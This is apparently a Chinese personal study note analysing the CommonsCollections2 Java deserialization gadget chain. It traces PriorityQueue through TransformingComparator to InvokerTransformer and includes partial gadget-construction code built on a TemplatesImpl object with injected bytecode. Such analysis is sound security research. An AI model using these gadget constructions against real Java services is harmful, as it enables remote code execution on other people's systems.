CC2

CC2仍然跟随p神的思路走

在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

    groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。

而这个新的CC版本也是存在反序列化利用链的(而我们之前的利用链 CC1 CC3 CC6都是可以在org.apache.commons:commons-collections4中正常使用的,需要注意的是LazyMap的decorate方法更名为lazymap方法)

pom.xml

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

PriorityQueue利⽤链

ysoserial为commons-collections4准备了两条新的利⽤链,那就是CommonsCollections2和CommonsCollections4。

commons-collections这个包之所有能攒出那么多利⽤链来,除了因为其使⽤量⼤,技术上的原因是其中包含了⼀些可以执⾏任意⽅法的Transformer。所以,在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从Serializable#readObject() ⽅法到Transformer#transform()⽅法的调⽤链。

有了这个认识,我们再来看CommonsCollections2,其中⽤到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue 是⼀个有⾃⼰readObject() ⽅法的类

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

org.apache.commons.collections4.comparators.TransformingComparator 中有调⽤transform() ⽅法的函数:

public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

CommonsCollections2实际就是⼀条从PriorityQueue 到TransformingComparator 的利⽤链。

看⼀下他们是怎么连接起来的。PriorityQueue#readObject() 中调⽤了heapify() ⽅法, heapify() 中调⽤了siftDown()

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

siftDown() 中调⽤了siftDownUsingComparator()

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

siftDownUsingComparator() 中调⽤的comparator.compare() ,于是就连接到上⾯的TransformingComparator 了:

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }
  • java.util.PriorityQueue 是⼀个优先队列(Queue),基于⼆叉堆实现,队列中每⼀个元素有⾃⼰的优先级,节点之间按照优先级⼤⼩排序成⼀棵树
  • 反序列化时为什么需要调⽤heapify() ⽅法?为了反序列化后,需要恢复(换⾔之,保证)这个结构的顺序
  • 排序是靠将⼤的元素下移实现的。siftDown() 是将节点下移的函数,⽽comparator.compare() ⽤来⽐较两个元素⼤⼩
  • TransformingComparator 实现了java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较。siftDownUsingComparator() 中就使⽤这个接⼝的compare() ⽅法⽐较树的节 点。

调试

反序列化入口在PriorityQueue(后面简称PQ)

image-20240819160020359

我们构造PQ用的是这个构造方法,第一个参数随便传,第二个参数传的是一个Comparator类型(TransformingComparator)

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

而这个Comparator类型(TransformingComparator)里塞的就直接是chaintransform

感觉是迄今为止最短的链子了

readobject() - heapify() - siftDown()这几步都没有用到我们构造的Comparator,流畅转入下面的siftDownUsingComparator()

调用comparator.compare(x, (E) c),x是1 c是2 哈哈

image-20240819160958593

到这里就离开PQ到了TransformingComparator,这里的this.transformer是chaintransform,老朋友了

image-20240819161211931

最后调用到invoketransform

image-20240819161410119

改进PriorityQueue利⽤链

既然有新的链子了,也可以像之前改shiro链子的时候一样,就像拼图一样,CC2这里我们新拿到了拼图PriorityQueue和TransformingComparator

拿到了一个新的反序列化触发点和一个“中间地带”,相当于拿到一个新的触发transf

感觉确实有点晕

(思路是调用chaintransform对象那里直接换成invoketransform,invoketransform传入的对象不再是没用的对象,而是TemplatesImpl 对象)

首先,还是创建TemplatesImpl 对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建⼀个⼈畜无害的InvokerTransformer 对象,并⽤它实例化Comparator :

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);

还是像上面一样实例化PriorityQueue ,但是此时向队列⾥添加的元素就是我们前⾯创建的TemplatesImpl 对象了:

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

ps:,invoketransform传入的对象不再是没用的对象,而是TemplatesImpl 对象

稍微调试一下

可以看到这里不再是之前没用的数字了

image-20240819164437884

关键点

image-20240819164542319

到这里就是之前分析过的内容了

image-20240819164614108

0%